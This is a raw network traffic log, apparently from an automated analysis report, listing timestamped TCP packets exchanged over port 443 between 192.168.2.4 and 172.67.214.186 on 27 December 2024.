Dec 27, 2024 10:21:56.414575100 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.414675951 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.414691925 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.414748907 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.420449972 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.420464993 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.420547962 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.420567036 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.420615911 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.426533937 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.426548958 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.426634073 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.426650047 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.426692009 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.431809902 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.431826115 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.431900024 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.431915045 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.431960106 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.437423944 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.437441111 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.437540054 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.437556982 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.437602997 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.443309069 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.443329096 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.443419933 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.443438053 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.443484068 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.449237108 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.449254036 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.449314117 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.449331999 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.449379921 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.610814095 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.610840082 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.610920906 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.610946894 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.611001968 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.615956068 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.615972042 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.616056919 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.616070986 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.616122007 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.621819973 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.621835947 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.621901035 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.621915102 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.621965885 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.627794027 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.627810955 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.627881050 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.627895117 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.627943039 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.633045912 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.633060932 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.633136034 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.633150101 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.633198977 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.639374018 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.639389038 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.639453888 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.639467955 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.639513016 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.644649029 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.644665003 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.644735098 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.644750118 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.644797087 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.650548935 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.650563002 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.650624990 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.650639057 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.650690079 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.812051058 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.812071085 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.812119961 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.812155962 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.812180996 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.812200069 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.817320108 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.817337036 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.817406893 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.817424059 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.817471027 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.823208094 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.823225021 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.823297024 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.823328018 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.823383093 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.829217911 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.829233885 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.829308033 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.829339027 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.829385996 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.834417105 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.834433079 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.834501028 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.834517002 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.834570885 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.840789080 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.840802908 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.840858936 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.840874910 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.840904951 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.840924978 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.846133947 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.846149921 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.846210957 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.846225977 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.846275091 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.852072954 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.852087975 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.852155924 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:56.852170944 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:56.852216959 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.013411999 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.013427973 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.013515949 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.013540983 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.013600111 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.019373894 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.019390106 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.019464970 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.019480944 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.019536018 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.024595022 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.024612904 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.024683952 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.024698019 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.024746895 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.030575991 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.030591011 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.030662060 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.030675888 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.030725956 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.036470890 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.036489010 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.036562920 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.036576033 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.036628962 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.042206049 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.042221069 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.042305946 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.042321920 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.042376041 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.048058033 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.048075914 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.048145056 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.048160076 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.048207998 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.053332090 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.053349018 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.053421021 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.053436041 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.053487062 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.215293884 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.215327978 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.215384007 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.215411901 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.215437889 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.215456963 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.220561981 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.220577955 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.220658064 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.220688105 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.220741987 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.226592064 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.226608038 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.226680040 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.226695061 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.226744890 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.232476950 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.232492924 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.232562065 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.232577085 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.232640028 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.238464117 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.238480091 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.238550901 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.238564968 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.238619089 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.244069099 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.244083881 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.244153023 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.244168997 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.244218111 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.249356985 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.249375105 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.249443054 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.249458075 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.249509096 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.255337000 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.255351067 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.255439043 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.255454063 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.255498886 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.416824102 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.416841030 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.416913986 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.416935921 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.416987896 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.422822952 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.422838926 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.422908068 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.422923088 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.422971964 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.428189039 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.428205013 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.428277016 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.428292036 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.428338051 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.433996916 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.434015989 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.434062958 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.434077978 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.434103966 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.434120893 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.439969063 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.439984083 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.440071106 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.440085888 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.440134048 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.445545912 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.445559978 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.445636034 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.445651054 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.445692062 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.451553106 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.451569080 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.451643944 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.451661110 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.451705933 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.456840038 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.456855059 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.456929922 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.456948042 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.456996918 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.618330002 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.618347883 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.618525982 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.618551970 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.618608952 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.623605013 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.623620987 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.623703957 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.623718977 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.623770952 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.629667044 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.629688025 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.629764080 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.629779100 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.629827976 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.635485888 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.635500908 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.635571957 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.635586977 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.635637999 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.640818119 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.640835047 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.640911102 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.640940905 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.640986919 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.647109985 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.647125006 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.647196054 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.647208929 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.647258043 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.652349949 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.652364969 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.652436018 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.652451038 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.652499914 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.658344984 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.658361912 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.658444881 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.658457994 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.658504009 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.820131063 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.820147991 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.820219994 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.820255041 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.820278883 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.820303917 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.826054096 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.826077938 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.826127052 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.826143026 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.826169968 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.826189041 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.831322908 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.831340075 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.831408024 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.831422091 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.831448078 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.831471920 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.837371111 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.837383986 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.837464094 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.837481022 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.837529898 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.842927933 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.842946053 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.843018055 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.843035936 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.843064070 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.843087912 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.848833084 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.848848104 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.848923922 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.848942041 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.848992109 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.854927063 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.854942083 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.855010986 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.855025053 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.855088949 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.860078096 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.860094070 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.860169888 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:57.860183001 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:57.860235929 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.038028955 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.038047075 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.038135052 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.038157940 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.038213015 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.043908119 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.043922901 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.043979883 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.043994904 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.044039011 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.049230099 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.049251080 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.049324989 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.049340010 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.049402952 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:58.055191040 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.055207968 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:58.055289984 CET	49745	443	192.168.2.4	172.67.214.186
